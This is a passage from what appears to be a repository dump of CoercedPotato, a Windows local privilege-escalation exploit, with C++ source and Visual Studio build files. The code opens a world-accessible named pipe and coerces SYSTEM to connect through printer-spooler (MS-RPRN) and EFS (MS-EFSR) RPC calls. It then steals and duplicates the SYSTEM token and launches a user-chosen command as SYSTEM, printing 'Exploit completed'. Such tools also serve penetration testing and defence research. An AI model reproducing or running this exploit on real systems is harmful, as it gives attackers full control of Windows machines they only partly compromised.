TOKEN_ALL_ACCESS, FALSE, &hSystemToken))\n    {\n        handleError(L\"OpenThreadToken()\", GetLastError());\n        goto cleanup;\n    }\n\n    if (!DuplicateTokenEx(hSystemToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hSystemTokenDup))\n    {\n        handleError(L\"DuplicateTokenEx()\", GetLastError());\n        goto cleanup;\n    }\n\n    if (g_dwSessionId)\n    {\n        if (!SetTokenInformation(hSystemTokenDup, TokenSessionId, &g_dwSessionId, sizeof(DWORD)))\n        {\n            handleError(L\"SetTokenInformation()\", GetLastError());\n            goto cleanup;\n        }\n    }\n\n    dwCreationFlags = CREATE_UNICODE_ENVIRONMENT;\n    dwCreationFlags |= g_bInteractWithConsole ? 0 : CREATE_NEW_CONSOLE;\n\n    if (!(pwszCurrentDirectory = (LPWSTR)malloc(MAX_PATH * sizeof(WCHAR))))\n        goto cleanup;\n\n    if (!GetSystemDirectory(pwszCurrentDirectory, MAX_PATH))\n    {\n        handleError(L\"GetSystemDirectory()\", GetLastError());\n        goto cleanup;\n    }\n\n    if (!CreateEnvironmentBlock(&lpEnvironment, hSystemTokenDup, FALSE))\n    {\n        handleError(L\"CreateEnvironmentBlock()\", GetLastError());\n        goto cleanup;\n    }\n\n    ZeroMemory(&si, sizeof(STARTUPINFO));\n    si.cb = sizeof(STARTUPINFO);\n    si.lpDesktop = const_cast<wchar_t*>(L\"WinSta0\\\\Default\");\n\n    if (!CreateProcessAsUser(hSystemTokenDup, NULL, g_pwszCommandLine, NULL, NULL, g_bInteractWithConsole, dwCreationFlags, lpEnvironment, pwszCurrentDirectory, &si, &pi))\n    {\n        if (GetLastError() == ERROR_PRIVILEGE_NOT_HELD)\n        {\n            wprintf(L\"[!] CreateProcessAsUser() failed because of a missing privilege, retrying with CreateProcessWithTokenW().\\n\");\n\n            RevertToSelf();\n\n            if (!g_bInteractWithConsole)\n            {\n                if (!CreateProcessWithTokenW(hSystemTokenDup, LOGON_WITH_PROFILE, NULL, g_pwszCommandLine, dwCreationFlags, lpEnvironment, pwszCurrentDirectory, &si, &pi))\n                {\n                    handleError(L\"CreateProcessWithTokenW()\", GetLastError());\n                    goto cleanup;\n                }\n                else\n                {\n                    wprintf(L\" ** Exploit completed **\\n\\n\");\n                }\n            }\n            else\n            {\n                wprintf(L\"[!] CreateProcessWithTokenW() isn't compatible with option -i\\n\");\n                goto cleanup;\n            }\n        }\n        else\n        {\n            handleError(L\"CreateProcessAsUser()\", GetLastError());\n            goto cleanup;\n        }\n    }\n    else\n    {\n        wprintf(L\" ** Exploit completed **\\n\\n\");\n    }\n\n    if (g_bInteractWithConsole)\n    {\n        fflush(stdout);\n        WaitForSingleObject(pi.hProcess, INFINITE);\n    }\n\n    bResult = TRUE;\n\ncleanup:\n    if (hSystemToken)\n        CloseHandle(hSystemToken);\n    if (hSystemTokenDup)\n        CloseHandle(hSystemTokenDup);\n    if (pwszCurrentDirectory)\n        free(pwszCurrentDirectory);\n    if (lpEnvironment)\n        DestroyEnvironmentBlock(lpEnvironment);\n    if (pi.hProcess)\n        CloseHandle(pi.hProcess);\n    if (pi.hThread)\n        CloseHandle(pi.hThread);\n\n    return bResult;\n}\n\nDWORD WINAPI launchNamedPipeServer(LPVOID lpParam) {\n    NamedPipeThreadArgs* args = static_cast<NamedPipeThreadArgs*>(lpParam);\n    LPWSTR commandLine = args->commandLine;\n    const wchar_t* pipePath = args->pipePath;\n\n    HANDLE hPipe = INVALID_HANDLE_VALUE;\n    HANDLE hTokenDup = INVALID_HANDLE_VALUE;\n    SECURITY_DESCRIPTOR sd = { 0 };\n    SECURITY_ATTRIBUTES sa = { 0 };\n    HANDLE hToken = ((HANDLE)(LONG_PTR)-1);\n    LPWSTR lpName;\n\n    lpName = (LPWSTR)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));\n    StringCchPrintfW(lpName, MAX_PATH, pipePath);\n\n\n    if (!InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION))\n    {\n        handleError(L\"InitializeSecurityDescriptor()\", GetLastError());\n        return -1;\n    }\n\n    if (!ConvertStringSecurityDescriptorToSecurityDescriptor(L\"D:(A;OICI;GA;;;WD)\", SDDL_REVISION_1, &((&sa)->lpSecurityDescriptor), NULL))\n    {\n        handleError(L\"ConvertStringSecurityDescriptorToSecurityDescriptor()\", GetLastError());\n        return -1;\n    }\n\n    if ((hPipe = CreateNamedPipe(lpName, PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED, PIPE_TYPE_BYTE | PIPE_WAIT, 10, 2048, 2048, 0, &sa)) != INVALID_HANDLE_VALUE)\n    {\n        wprintf(L\"[PIPESERVER] Named pipe '%ls' listening ...\\n\\n\", lpName);\n        ConnectNamedPipe(hPipe, NULL);\n        wprintf(L\"\\n[PIPESERVER] A client connected!\\n\\n\");\n        if (!GetSystem(hPipe)) {\n            handleError(L\"[PIPESERVER] CreateNamedPipe()\", GetLastError());\n        }\n    }\n    return 0;\n}\n\nBOOL createNamedPipe(wchar_t* namedpipe, wchar_t* commandExecuted) {\n    HANDLE hThread = NULL;\n    NamedPipeThreadArgs poisonedNamedPipe;\n    poisonedNamedPipe.pipePath = namedpipe;\n    poisonedNamedPipe.commandLine = commandExecuted;\n    hThread = CreateThread(NULL, 0, launchNamedPipeServer, &poisonedNamedPipe, 0, NULL);\n    wprintf(L\"[PIPESERVER] Creating a thread launching a server pipe listening on Named Pipe %s.\\r\\n\", poisonedNamedPipe.pipePath);\n    return TRUE;\n}\n\nlong CallEfsrFunctions(RPC_BINDING_HANDLE Binding, int exploitID, bool force, std::wstring randomNamedpipe)\n{\n    long result;\n    wprintf(L\"[MS-EFSR] [*] Attempting MS-EFSR functions ...\\r\\n\\n\");\n\n    LPWSTR targetedPipeName;\n    std::wstring localhostUNCPathPipe = L\"\\\\\\\\127.0.0.1/pipe/\";\n    std::wstring filename = L\"\\\\C$\\\\\\x00\";\n    targetedPipeName = (LPWSTR)LocalAlloc(LPTR, (localhostUNCPathPipe.length() + randomNamedpipe.length() + 1) * sizeof(wchar_t)); // Allouez la memoire\n\n    if (targetedPipeName) {\n        StringCchCopy(targetedPipeName, localhostUNCPathPipe.length() + randomNamedpipe.length() + filename.length() + 1, localhostUNCPathPipe.c_str()); // Copiez la chaine localhostUNCPathPipe\n        StringCchCat(targetedPipeName, localhostUNCPathPipe.length() + randomNamedpipe.length() + filename.length() + 1, randomNamedpipe.c_str()); // Concatenez la chaine randomNamedpipe\n        StringCchCat(targetedPipeName, localhostUNCPathPipe.length() + randomNamedpipe.length() + filename.length() + 1, filename.c_str()); // Concatenez la chaine randomNamedpipe\n\n    }\n\n    std::function<int()> functions[] = {\n        [&]() { return callEfsRpcOpenFileRaw(Binding, targetedPipeName); },\n        [&]() { return callEfsRpcEncryptFileSrv(Binding, targetedPipeName); },\n        [&]() { return callEfsRpcDecryptFileSrv(Binding, targetedPipeName); },\n        [&]() { return callEfsRpcQueryUsersOnFile(Binding, targetedPipeName); },\n        [&]() { return callEfsRpcQueryRecoveryAgents(Binding, targetedPipeName); },\n        [&]() { return callEfsRpcRemoveUsersFromFile(Binding, targetedPipeName); },\n        [&]() { return callEfsRpcAddUsersToFile(Binding, targetedPipeName); },\n        [&]() { return callEfsRpcFileKeyInfo(Binding, targetedPipeName); },\n        [&]() { return callEfsRpcDuplicateEncryptionInfoFile(Binding, targetedPipeName); },\n        [&]() { return callEfsRpcAddUsersToFileEx(Binding, targetedPipeName); },\n        [&]() { return callEfsRpcFileKeyInfoEx(Binding, targetedPipeName); },\n        [&]() { return callEfsRpcGetEncryptedFileMetadata(Binding, targetedPipeName); },\n        [&]() { return callEfsRpcEncryptFileExSrv(Binding, targetedPipeName); },\n        [&]() { return callEfsRpcQueryProtectors(Binding, targetedPipeName); }\n    };\n\n    const wchar_t* functionNames[] = {\n        L\" [MS-EFSR] EfsRpcOpenFileRaw\",\n        L\" [MS-EFSR] EfsRpcEncryptFileSrv\",\n        L\" [MS-EFSR] EfsRpcDecryptFileSrv\",\n        L\" [MS-EFSR] EfsRpcQueryUsersOnFile\",\n        L\" [MS-EFSR] EfsRpcQueryRecoveryAgents\",\n        L\" [MS-EFSR] EfsRpcRemoveUsersFromFile\",\n        L\" [MS-EFSR] EfsRpcAddUsersToFile\",\n        L\" [MS-EFSR] EfsRpcFileKeyInfo\",\n        L\" [MS-EFSR] EfsRpcDuplicateEncryptionInfoFile\",\n        L\" [MS-EFSR] EfsRpcAddUsersToFileEx\",\n        L\" [MS-EFSR] EfsRpcFileKeyInfoEx\",\n        L\" [MS-EFSR] EfsRpcGetEncryptedFileMetadata\",\n        L\" [MS-EFSR] EfsRpcEncryptFileExSrv\",\n        L\" [MS-EFSR] EfsRpcQueryProtectors\"\n    };\n\n    int sizeOfFunctions = sizeof(functions) / sizeof(functions[0]);\n    if (exploitID == -1) {\n        wprintf(L\"[MS-EFSR] Starting RPC functions fuzzing ...\\r\\n\");\n        for (int i = 0; i < sizeOfFunctions; i++) {\n            wprintf(L\"[MS-EFSR] \");\n            result = functions[i]();\n\n            handleError(functionNames[i], result);\n\n            if (result == 53 and !force) {\n                LocalFree(targetedPipeName);\n                return 0;\n            }\n        }\n    }\n    else {\n        wprintf(L\"[MS-EFSR] \");\n        result = functions[exploitID]();\n        handleError(functionNames[exploitID], result);\n    }\n\n    LocalFree(targetedPipeName);\n    return -1;\n}\n\n\nlong callRprnFunctions(int exploitID, bool force, std::wstring randomNamedpipe) {\n    long result;\n    wprintf(L\"[MS-RPRN] [*] Attempting MS-RPRN functions ...\\r\\n\\n\");\n    LPWSTR targetedPipeName;\n    std::wstring localhostUNCPathPipe = L\"\\\\\\\\127.0.0.1/pipe/\";\n    targetedPipeName = (LPWSTR)LocalAlloc(LPTR, (localhostUNCPathPipe.length() + randomNamedpipe.length() + 1) * sizeof(wchar_t));\n\n    if (targetedPipeName) {\n        StringCchCopy(targetedPipeName, localhostUNCPathPipe.length() + randomNamedpipe.length() + 1, localhostUNCPathPipe.c_str());\n        StringCchCat(targetedPipeName, localhostUNCPathPipe.length() + randomNamedpipe.length() + 1, randomNamedpipe.c_str());\n    }\n\n    std::function<int()> functions[] = {\n        [&]() { return callRpcRemoteFindFirstPrinterChangeNotificationEx(targetedPipeName); },\n        [&]() { return callRpcRemoteFindFirstPrinterChangeNotification(targetedPipeName);\n    } };\n\n    const wchar_t * functionNames[] = {\n        L\" [MS-RPRN] RpcRemoteFindFirstPrinterChangeNotificationEx\",\n        L\" [MS-RPRN] RpcRemoteFindFirstPrinterChangeNotification\"\n    };\n\n    int sizeOfFunctions = sizeof(functions) / sizeof(functions[0]);\n    if (exploitID == -1) {\n        wprintf(L\"[MS-RPRN] Starting RPC functions fuzzing ...\\r\\n\");\n        for (int i = 0; i < sizeOfFunctions; i++) {\n            wprintf(L\"[MS-RPRN] \");\n            result = functions[i]();\n\n            handleError(functionNames[i], result);\n\n            if (result == 0 and !force) {\n                LocalFree(targetedPipeName);\n                return 0;\n            }\n        }\n    }\n    else {\n        wprintf(L\"[MS-RPRN] \");\n        result = functions[exploitID]();\n        handleError(functionNames[exploitID], result);\n    }\n\n    LocalFree(targetedPipeName);\n    if (!force) {\n        wprintf(L\"[MS-RPRN] None of MS-RPRN functions worked ... \\r\\n\\n\\n\");\n    }\n    return -1;\n}\n\nBOOL exploitMsEfsr(wchar_t* command, int exploitId, bool force, std::wstring randomNamedpipe) {\n    wchar_t* namedpipe;\n    namedpipe = (wchar_t*)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));\n\n    StringCchPrintf(namedpipe, MAX_PATH, L\"\\\\\\\\.\\\\pipe\\\\\");\n    StringCchCat(namedpipe, MAX_PATH, randomNamedpipe.c_str());\n    StringCchCat(namedpipe, MAX_PATH, L\"\\\\pipe\\\\srvsvc\");\n\n    if (!createNamedPipe(namedpipe, command)) {\n        wprintf(L\"[PIPESERVER] An error has occurred while creating the pipe server\\r\\n\");\n        handleError(L\" [PIPESERVER] createNamedPipe()\", GetLastError());\n        return FALSE;\n    }\n\n    Sleep(500);\n\n    handle_t RPCBind;\n    if (!createRPCbind(RPCBind)) {\n        wprintf(L\"[RPCBIND] An error has occurred during the RPC binding \\r\\n\");\n        handleError(L\" [RPCBIND] createRPCbind()\", GetLastError());\n        return FALSE;\n    }\n    Sleep(500);\n    long result;\n    result = CallEfsrFunctions(RPCBind, exploitId, force, randomNamedpipe) == 0;\n    return result;\n}\n\nBOOL exploitMsRprn(wchar_t* command, int exploitId, bool force, std::wstring randomNamedpipe) {\n    wchar_t* namedpipe = (wchar_t*)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));\n\n    StringCchPrintf(namedpipe, MAX_PATH, L\"\\\\\\\\.\\\\pipe\\\\\");\n    StringCchCat(namedpipe, MAX_PATH, randomNamedpipe.c_str());\n    StringCchCat(namedpipe, MAX_PATH, L\"\\\\pipe\\\\spoolss\");\n\n    if (!createNamedPipe(namedpipe, command)) {\n        wprintf(L\"[PIPESERVER] An error has occurred while creating the pipe server\\r\\n\");\n        handleError(L\" [PIPESERVER] createNamedPipe()\", GetLastError());\n        return FALSE;\n    }\n    Sleep(500);\n    return callRprnFunctions(exploitId, force, randomNamedpipe) == 0;\n}\n\n\nvoid exploitAll(wchar_t* command, int exploitId, bool force, std::wstring randomNamedpipe) {\n    wprintf(L\"[+] RUNNING ALL KNOWN EXPLOITS.\\r\\n\\n\");\n    BOOL stopFuzzing = FALSE;\n    if (!stopFuzzing) {\n        stopFuzzing = exploitMsRprn(command, exploitId, force, randomNamedpipe);\n    }\n    if (!stopFuzzing or force) {\n        stopFuzzing = exploitMsEfsr(command, exploitId, force, randomNamedpipe);\n    }\n}\n\nint main(int argc, char** argv)\n{\n    std::cout << \"                                                                  \" << std::endl;\n    std::cout << \"   ____                            _ ____       _        _        \" << std::endl;\n    std::cout << \"  / ___|___   ___ _ __ ___ ___  __| |  _ \\\\ ___ | |_ __ _| |_ ___  \" << std::endl;\n    std::cout << \" | |   / _ \\\\ / _ \\\\ '__/ __/ _ \\\\/ _` | |_) / _ \\\\| __/ _` | __/ _ \\\\ \" << std::endl;\n    std::cout << \" | |__| (_) |  __/ | | (_|  __/ (_| |  __/ (_) | || (_| | || (_) |\" << std::endl;\n    std::cout << \"  \\\\____\\\\___/ \\\\___|_|  \\\\___\\\\___|\\\\__,_|_|   \\\\___/ \\\\__\\\\__,_|\\\\__\\\\___/ \" << std::endl;\n    std::cout << \"                                                                  \" << std::endl;\n    std::cout << \"                                           @Hack0ura @Prepouce    \" << std::endl;\n    std::cout << \"                                                                  \" << std::endl;\n\n\n    CLI::App app{ \"CoercedPotato is an automated tool for privilege escalation exploit using SeImpersonatePrivilege or SeImpersonatePrimaryToken.\" };\n\n    if (argc == 1) {\n        wprintf(L\"Use --help to show all usefull information.\\r\\n\");\n        wprintf(L\"[-] Exiting...\\r\\n\");\n        exit(0);\n    }\n\n    std::string stringCommand;\n\n    app.add_option(\"-c,--command\", stringCommand, \"Program to execute as SYSTEM (i.e. cmd.exe)\")->required();\n\n    std::string rpcInterface;\n    app.add_option(\"-i,--interface\", rpcInterface, \"Optionnal interface to use (default : ALL) (Possible values : ms-rprn, ms-efsr\");\n\n    int exploitId = -1;\n    app.add_option(\"-n,--exploitId\", exploitId, \"Optionnal exploit ID (Only usuable if interface is defined) \\n -> ms-rprn : \\n   [0] RpcRemoteFindFirstPrinterChangeNotificationEx()\\n   [1] RpcRemoteFindFirstPrinterChangeNotification()\\n -> ms-efsr \\n   [0] EfsRpcOpenFileRaw()\\n   [1] EfsRpcEncryptFileSrv()\\n   [2] EfsRpcDecryptFileSrv()\\n   [3] EfsRpcQueryUsersOnFile()\\n   [4] EfsRpcQueryRecoveryAgents()\\n   [5] EfsRpcRemoveUsersFromFile()\\n   [6] EfsRpcAddUsersToFile()\\n   [7] EfsRpcFileKeyInfo() # NOT WORKING\\n   [8] EfsRpcDuplicateEncryptionInfoFile()\\n   [9] EfsRpcAddUsersToFileEx()\\n   [10] EfsRpcFileKeyInfoEx() # NOT WORKING\\n   [11] EfsRpcGetEncryptedFileMetadata()\\n   [12] EfsRpcEncryptFileExSrv()\\n   [13] EfsRpcQueryProtectors()\\n\");\n\n    bool force = false;\n    app.add_option(\"-f,--force\", force, \"Force all RPC functions even if it says 'Exploit worked!' (Default value : false)\");\n\n    bool interactive = true;\n    app.add_option(\"--interactive\", interactive, \"Set wether the process should be run within the same shell or open a new window. (Default value : true)\");\n\n\n    CLI11_PARSE(app, argc, argv);\n\n    const char* charPointer = stringCommand.c_str();\n    size_t maxBufferSize = stringCommand.size() + 1;\n    wchar_t* command = new wchar_t[maxBufferSize];\n    size_t convertedChars = 0;\n    mbstowcs_s(&convertedChars, command, maxBufferSize, charPointer, maxBufferSize - 1);\n\n    std::wstring randomNamedpipe = generateRandomString();\n\n    g_pwszCommandLine = command;\n    g_bInteractWithConsole = interactive;\n\n    if (rpcInterface.empty() and exploitId != -1) {\n        wprintf(L\"%d\\n\", exploitId);\n        wprintf(L\"Please use rpcInterface parameter before defining exploitId. \\r\\n\");\n        wprintf(L\"[-] Exiting...\\r\\n\");\n        exit(0);\n    }\n\n    if (rpcInterface.empty() and exploitId == -1) {\n        exploitAll(command, exploitId, force, randomNamedpipe);\n        return 0;\n    }\n    else {\n        if (rpcInterface == \"ms-rprn\") {\n            exploitMsRprn(command, exploitId, force, randomNamedpipe);\n        }\n        else if (rpcInterface == \"ms-efsr\") {\n            exploitMsEfsr(command, exploitId, force, randomNamedpipe);\n        }\n    }\n\n    return 0;\n\n}\n\n\n\n/** ALL FUNCTIONS USEFUL FOR RPC INTERFACES **/\n\nvoid __RPC_FAR* __RPC_USER midl_user_allocate(size_t cBytes)\n{\n    return((void __RPC_FAR*) malloc(cBytes));\n}\n\nvoid __RPC_USER midl_user_free(void __RPC_FAR* p)\n{\n    free(p);\n}\n\n// Taken from https://github.com/leechristensen/SpoolSample/blob/master/MS-RPRN/main.cpp \nhandle_t __RPC_USER STRING_HANDLE_bind(STRING_HANDLE lpStr)\n{\n    RPC_STATUS RpcStatus;\n    RPC_WSTR StringBinding;\n    handle_t BindingHandle;\n    WCHAR   ServerName[MAX_PATH + 1];\n    DWORD   i;\n\n    if (lpStr && lpStr[0] == L'\\\\' && lpStr[1] == L'\\\\') {\n        ServerName[0] = ServerName[1] = '\\\\';\n\n        i = 2;\n        while (lpStr[i] && lpStr[i] != L'\\\\' && i < sizeof(ServerName)) {\n            ServerName[i] = lpStr[i];\n            i++;\n        }\n\n        ServerName[i] = 0;\n    }\n    else {\n        return FALSE;\n    }\n\n    RpcStatus = RpcStringBindingComposeW(\n        (RPC_WSTR)L\"12345678-1234-ABCD-EF00-0123456789AB\",\n        (RPC_WSTR)L\"ncacn_np\",\n        (RPC_WSTR)ServerName,\n        (RPC_WSTR)L\"\\\\pipe\\\\spoolss\",\n        NULL,\n        &StringBinding);\n\n    if (RpcStatus != RPC_S_OK) {\n        return(0);\n    }\n\n    RpcStatus = RpcBindingFromStringBindingW(StringBinding, &BindingHandle);\n\n    RpcStringFreeW(&StringBinding);\n\n    if (RpcStatus != RPC_S_OK) {\n        wprintf(L\"[-] An error has occurred during STRING_HANDLE_bind() ...\\r\\n\");\n        return(0);\n    }\n\n    return(BindingHandle);\n}\n\nvoid __RPC_USER STRING_HANDLE_unbind(STRING_HANDLE lpStr, handle_t BindingHandle)\n{\n    RPC_STATUS       RpcStatus;\n\n    RpcStatus = RpcBindingFree(&BindingHandle);\n    if (RpcStatus == RPC_S_INVALID_BINDING) wprintf(L\"[-] An error has occurred during STRING_HANDLE_unbind() ...\\r\\n\");\n\n    return;\n}\n/*\nhandle_t __RPC_USER SRVSVC_HANDLE_bind(SRVSVC_HANDLE pszSystemName)\n{\n    handle_t hBinding = NULL;\n    RPC_WSTR pszStringBinding;\n    long status;\n\n    wprintf(L\"SRVSVC_HANDLE_bind() called\\n\");\n\n    status = RpcStringBindingComposeW(NULL,(RPC_WSTR) L\"ncacn_np\", (RPC_WSTR)pszSystemName, (RPC_WSTR) L\"\\\\pipe\\\\srvsvc\", NULL, &pszStringBinding);\n\n\n    if (status)\n    {\n        wprintf(L\"RpcStringBindingCompose returned %ld\\n\", status);\n        return NULL;\n    }\n    status = RpcBindingFromStringBindingW(pszStringBinding,\n        &hBinding);\n    if (status)\n    {\n        wprintf(L\"RpcBindingFromStringBinding returned %ld\\n\", status);\n    }\n\n    status = RpcStringFreeW(&pszStringBinding);\n    if (status)\n    {\n        //        TRACE(\"RpcStringFree returned 0x%x\\n\", status);\n    }\n\n    return hBinding;\n}\n\n\nvoid __RPC_USER\nSRVSVC_HANDLE_unbind(SRVSVC_HANDLE pszSystemName,\n    handle_t hBinding)\n{\n    RPC_STATUS status;\n\n    wprintf(L\"SRVSVC_HANDLE_unbind() called\\n\");\n\n    status = RpcBindingFree(&hBinding);\n    if (status)\n    {\n        wprintf(L\"RpcBindingFree returned 0x%x\\n\", status);\n    }\n}\n\n\nhandle_t __RPC_USER\nEVENTLOG_HANDLE_A_bind(EVENTLOG_HANDLE_A UNCServerName)\n{\n    handle_t hBinding = NULL;\n    RPC_CSTR pszStringBinding;\n    RPC_STATUS status;\n\n\n    status = RpcStringBindingComposeA(NULL,\n        (RPC_CSTR)\"ncacn_np\",\n        (RPC_CSTR)UNCServerName,\n        (RPC_CSTR)\"\\\\pipe\\\\EventLog\",\n        NULL,\n        &pszStringBinding);\n    if (status)\n    {\n        return NULL;\n    }\n\n    status = RpcBindingFromStringBindingA(pszStringBinding,\n        &hBinding);\n\n    status = RpcStringFreeA(&pszStringBinding);\n\n    return hBinding;\n}\n\n\nvoid __RPC_USER\nEVENTLOG_HANDLE_A_unbind(EVENTLOG_HANDLE_A UNCServerName,\n    handle_t hBinding)\n{\n    RPC_STATUS status;\n\n    status = RpcBindingFree(&hBinding);\n}\n\n\nhandle_t __RPC_USER\nEVENTLOG_HANDLE_W_bind(EVENTLOG_HANDLE_W UNCServerName)\n{\n    handle_t hBinding = NULL;\n    RPC_WSTR pszStringBinding;\n    RPC_STATUS status;\n\n    status = RpcStringBindingComposeW(NULL,\n        (RPC_WSTR) L\"ncacn_np\",\n        (RPC_WSTR) UNCServerName,\n        (RPC_WSTR) L\"\\\\pipe\\\\EventLog\",\n        NULL,\n        &pszStringBinding);\n    if (status != RPC_S_OK)\n    {\n        return NULL;\n    }\n\n    status = RpcBindingFromStringBindingW(pszStringBinding,\n        &hBinding);\n\n    status = RpcStringFreeW(&pszStringBinding);\n\n    return hBinding;\n}\n\n\nvoid __RPC_USER\nEVENTLOG_HANDLE_W_unbind(EVENTLOG_HANDLE_W UNCServerName,\n    handle_t hBinding)\n{\n    RPC_STATUS status;\n\n    status = RpcBindingFree(&hBinding);\n}*/"
  },
  {
    "path": "CoercedPotato.sln",
    "content": "﻿\nMicrosoft Visual Studio Solution File, Format Version 12.00\n# Visual Studio Version 17\nVisualStudioVersion = 17.7.34003.232\nMinimumVisualStudioVersion = 10.0.40219.1\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"CoercedPotato\", \"CoercedPotato.vcxproj\", \"{337ED7BE-969A-40C4-A356-BE99561F4633}\"\nEndProject\nGlobal\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\n\t\tDebug|x64 = Debug|x64\n\t\tDebug|x86 = Debug|x86\n\t\tRelease|x64 = Release|x64\n\t\tRelease|x86 = Release|x86\n\tEndGlobalSection\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\n\t\t{337ED7BE-969A-40C4-A356-BE99561F4633}.Debug|x64.ActiveCfg = Debug|x64\n\t\t{337ED7BE-969A-40C4-A356-BE99561F4633}.Debug|x64.Build.0 = Debug|x64\n\t\t{337ED7BE-969A-40C4-A356-BE99561F4633}.Debug|x86.ActiveCfg = Debug|Win32\n\t\t{337ED7BE-969A-40C4-A356-BE99561F4633}.Debug|x86.Build.0 = Debug|Win32\n\t\t{337ED7BE-969A-40C4-A356-BE99561F4633}.Release|x64.ActiveCfg = Release|x64\n\t\t{337ED7BE-969A-40C4-A356-BE99561F4633}.Release|x64.Build.0 = Release|x64\n\t\t{337ED7BE-969A-40C4-A356-BE99561F4633}.Release|x86.ActiveCfg = Release|Win32\n\t\t{337ED7BE-969A-40C4-A356-BE99561F4633}.Release|x86.Build.0 = Release|Win32\n\tEndGlobalSection\n\tGlobalSection(SolutionProperties) = preSolution\n\t\tHideSolutionNode = FALSE\n\tEndGlobalSection\n\tGlobalSection(ExtensibilityGlobals) = postSolution\n\t\tSolutionGuid = {350DF1A2-5B35-4149-9CD5-3C27A4115BB9}\n\tEndGlobalSection\nEndGlobal\n"
  },
  {
    "path": "CoercedPotato.vcxproj",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project DefaultTargets=\"Build\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <ItemGroup Label=\"ProjectConfigurations\">\n    <ProjectConfiguration Include=\"Debug|Win32\">\n      <Configuration>Debug</Configuration>\n      <Platform>Win32</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Release|Win32\">\n      <Configuration>Release</Configuration>\n      <Platform>Win32</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Debug|x64\">\n      <Configuration>Debug</Configuration>\n      <Platform>x64</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Release|x64\">\n      <Configuration>Release</Configuration>\n      <Platform>x64</Platform>\n    </ProjectConfiguration>\n  </ItemGroup>\n  <PropertyGroup Label=\"Globals\">\n    <VCProjectVersion>17.0</VCProjectVersion>\n    <Keyword>Win32Proj</Keyword>\n    <ProjectGuid>{337ed7be-969a-40c4-a356-be99561f4633}</ProjectGuid>\n    <RootNamespace>CoercedPotato</RootNamespace>\n    <WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>\n  </PropertyGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.Default.props\" />\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>true</UseDebugLibraries>\n    <PlatformToolset>v143</PlatformToolset>\n    <CharacterSet>Unicode</CharacterSet>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>false</UseDebugLibraries>\n    <PlatformToolset>v143</PlatformToolset>\n    <WholeProgramOptimization>true</WholeProgramOptimization>\n    <CharacterSet>Unicode</CharacterSet>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>true</UseDebugLibraries>\n    <PlatformToolset>v143</PlatformToolset>\n    <CharacterSet>Unicode</CharacterSet>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>false</UseDebugLibraries>\n    <PlatformToolset>v143</PlatformToolset>\n    <WholeProgramOptimization>true</WholeProgramOptimization>\n    <CharacterSet>Unicode</CharacterSet>\n  </PropertyGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.props\" />\n  <ImportGroup Label=\"ExtensionSettings\">\n  </ImportGroup>\n  <ImportGroup Label=\"Shared\">\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <PropertyGroup Label=\"UserMacros\" />\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <SDLCheck>true</SDLCheck>\n      <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <ConformanceMode>true</ConformanceMode>\n    </ClCompile>\n    <Link>\n      <SubSystem>Console</SubSystem>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\n    